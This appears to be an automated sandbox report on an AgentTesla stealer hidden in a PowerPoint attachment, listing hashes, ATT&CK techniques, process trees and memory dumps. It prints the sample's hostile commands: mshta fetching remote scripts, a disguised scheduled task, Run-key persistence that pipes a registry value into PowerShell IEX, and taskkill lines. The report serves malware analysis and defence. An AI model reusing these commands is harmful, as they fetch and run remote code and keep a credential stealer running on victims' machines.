agenttesla | 99b84223a505faa4dcd483e6e925dddfe5a890b41aa92b5e4ef5239a26036075

General

Target

RFQ No3756368.ppt
Size

78KB
MD5

4b485ae386bfa68a2eeac2dc35bda606
SHA1

8086ec71e34fd18a1a8e3e20721bc466caf3cda4
SHA256

99b84223a505faa4dcd483e6e925dddfe5a890b41aa92b5e4ef5239a26036075
SHA512

7918aedf847172a8dfed81931ebe5247a627922d5042d6a10799089dd8bb711a1a8f4dc5301e5b65a0f8a27d11f8d815b7d615bb157854a70d1b5a93e8cb09d5

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	812	3892	mshta.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2076	4020	powershell.exe

AgentTesla Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3892-187-0x00000000004375FE-mapping.dmp	family_agenttesla

Blocklisted process makes network request 10 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
17	812	mshta.exe
19	812	mshta.exe
21	812	mshta.exe
23	812	mshta.exe
25	812	mshta.exe
29	812	mshta.exe
32	812	mshta.exe
37	812	mshta.exe
39	812	mshta.exe
45	2076	powershell.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"mshta\"\"http://1230948%[email protected]/p/47.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\nunukhaoo = "\"mshta\"\"http://1230948%[email protected]/p/47.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\replcia = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).nasdnasndnad)\|IEX\"\", 0 : window.close\")"	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\DLESOLCRETSAM = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).MSOFFICELO)\|IEX\"\", 0 : window.close\")"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\dkkkksakdosexography = "\"mshta\"\"http://1230948%[email protected]/p/47.html\""	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2076 set thread context of 3892 2076 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2588 812 WerFault.exe mshta.exe

description	pid	process	target process
PID 2076 set thread context of 3892	2076	powershell.exe	aspnet_compiler.exe

pid	pid_target	process	target process
2588	812	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2668 schtasks.exe

pid	process
2668	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

3704 taskkill.exe
2108 taskkill.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

3892 POWERPNT.EXE

pid	process
3704	taskkill.exe
2108	taskkill.exe

pid	process
3892	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 30 IoCs

Processes:

powershell.exeWerFault.exeaspnet_compiler.exe

pid	process
2076	powershell.exe
2076	powershell.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2588	WerFault.exe
2076	powershell.exe
2076	powershell.exe
2076	powershell.exe
2076	powershell.exe
2076	powershell.exe
2076	powershell.exe
2076	powershell.exe
2076	powershell.exe
2076	powershell.exe
2076	powershell.exe
2076	powershell.exe
3892	aspnet_compiler.exe
3892	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

Processes:

powershell.exetaskkill.exetaskkill.exeWerFault.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	2076	powershell.exe
Token: SeDebugPrivilege	3704	taskkill.exe
Token: SeDebugPrivilege	2108	taskkill.exe
Token: SeDebugPrivilege	2588	WerFault.exe
Token: SeIncreaseQuotaPrivilege	2076	powershell.exe
Token: SeSecurityPrivilege	2076	powershell.exe
Token: SeTakeOwnershipPrivilege	2076	powershell.exe
Token: SeLoadDriverPrivilege	2076	powershell.exe
Token: SeSystemProfilePrivilege	2076	powershell.exe
Token: SeSystemtimePrivilege	2076	powershell.exe
Token: SeProfSingleProcessPrivilege	2076	powershell.exe
Token: SeIncBasePriorityPrivilege	2076	powershell.exe
Token: SeCreatePagefilePrivilege	2076	powershell.exe
Token: SeBackupPrivilege	2076	powershell.exe
Token: SeRestorePrivilege	2076	powershell.exe
Token: SeShutdownPrivilege	2076	powershell.exe
Token: SeDebugPrivilege	2076	powershell.exe
Token: SeSystemEnvironmentPrivilege	2076	powershell.exe
Token: SeRemoteShutdownPrivilege	2076	powershell.exe
Token: SeUndockPrivilege	2076	powershell.exe
Token: SeManageVolumePrivilege	2076	powershell.exe
Token: 33	2076	powershell.exe
Token: 34	2076	powershell.exe
Token: 35	2076	powershell.exe
Token: 36	2076	powershell.exe
Token: SeIncreaseQuotaPrivilege	2076	powershell.exe
Token: SeSecurityPrivilege	2076	powershell.exe
Token: SeTakeOwnershipPrivilege	2076	powershell.exe
Token: SeLoadDriverPrivilege	2076	powershell.exe
Token: SeSystemProfilePrivilege	2076	powershell.exe
Token: SeSystemtimePrivilege	2076	powershell.exe
Token: SeProfSingleProcessPrivilege	2076	powershell.exe
Token: SeIncBasePriorityPrivilege	2076	powershell.exe
Token: SeCreatePagefilePrivilege	2076	powershell.exe
Token: SeBackupPrivilege	2076	powershell.exe
Token: SeRestorePrivilege	2076	powershell.exe
Token: SeShutdownPrivilege	2076	powershell.exe
Token: SeDebugPrivilege	2076	powershell.exe
Token: SeSystemEnvironmentPrivilege	2076	powershell.exe
Token: SeRemoteShutdownPrivilege	2076	powershell.exe
Token: SeUndockPrivilege	2076	powershell.exe
Token: SeManageVolumePrivilege	2076	powershell.exe
Token: 33	2076	powershell.exe
Token: 34	2076	powershell.exe
Token: 35	2076	powershell.exe
Token: 36	2076	powershell.exe
Token: SeDebugPrivilege	3892	aspnet_compiler.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

POWERPNT.EXEaspnet_compiler.exe

pid process

3892 POWERPNT.EXE
3892 POWERPNT.EXE
3892 POWERPNT.EXE
3892 aspnet_compiler.exe

pid	process
3892	POWERPNT.EXE
3892	POWERPNT.EXE
3892	POWERPNT.EXE
3892	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

POWERPNT.EXEmshta.exepowershell.exe

description	pid	process	target process
PID 3892 wrote to memory of 812	3892	POWERPNT.EXE	mshta.exe
PID 3892 wrote to memory of 812	3892	POWERPNT.EXE	mshta.exe
PID 812 wrote to memory of 2668	812	mshta.exe	schtasks.exe
PID 812 wrote to memory of 2668	812	mshta.exe	schtasks.exe
PID 812 wrote to memory of 3704	812	mshta.exe	taskkill.exe
PID 812 wrote to memory of 3704	812	mshta.exe	taskkill.exe
PID 812 wrote to memory of 2108	812	mshta.exe	taskkill.exe
PID 812 wrote to memory of 2108	812	mshta.exe	taskkill.exe
PID 2076 wrote to memory of 2064	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 2064	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 2064	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 3312	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 3312	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 3312	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 192	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 192	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 192	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 1900	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 1900	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 1900	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 2056	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 2056	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 2056	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 3892	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 3892	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 3892	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 3892	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 3892	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 3892	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 3892	2076	powershell.exe	aspnet_compiler.exe
PID 2076 wrote to memory of 3892	2076	powershell.exe	aspnet_compiler.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\RFQ No3756368.ppt" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3892

C:\Windows\SYSTEM32\mshta.exe
mshta http://www.j.mp/asdaksdjqwoddaskdajk
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:812

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%[email protected]/p/47.html""\"", 0 : window.close"\")
3⤵
- Creates scheduled task(s)
PID:2668

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im Excel.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3704

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im winword.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2108

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 812 -s 2836
3⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2588

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2076

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
2⤵
PID:2064

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
2⤵
PID:3312

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
2⤵
PID:192

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
2⤵
PID:1900

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
2⤵
PID:2056

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3892

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/812-179-0x0000000000000000-mapping.dmp

Download
memory/2076-184-0x0000012B7C0C3000-0x0000012B7C0C5000-memory.dmp

Filesize
8KB

Download
memory/2076-183-0x0000012B7C0C0000-0x0000012B7C0C2000-memory.dmp

Filesize
8KB

Download
memory/2076-186-0x0000012B7C0C8000-0x0000012B7C0C9000-memory.dmp

Filesize
4KB

Download
memory/2076-185-0x0000012B7C0C6000-0x0000012B7C0C8000-memory.dmp

Filesize
8KB

Download
memory/2108-182-0x0000000000000000-mapping.dmp

Download
memory/2668-180-0x0000000000000000-mapping.dmp

Download
memory/3704-181-0x0000000000000000-mapping.dmp

Download
memory/3892-122-0x00007FFC0FAC0000-0x00007FFC10BAE000-memory.dmp

Filesize
16.9MB

Download
memory/3892-189-0x0000000005440000-0x000000000593E000-memory.dmp

Filesize
5.0MB

Download
memory/3892-117-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/3892-119-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/3892-114-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/3892-115-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/3892-123-0x00007FFC0A880000-0x00007FFC0C775000-memory.dmp

Filesize
31.0MB

Download
memory/3892-116-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/3892-187-0x00000000004375FE-mapping.dmp

Download
memory/3892-188-0x0000000005440000-0x000000000593E000-memory.dmp

Filesize
5.0MB

Download
memory/3892-118-0x00007FFC13460000-0x00007FFC1503D000-memory.dmp

Filesize
27.9MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads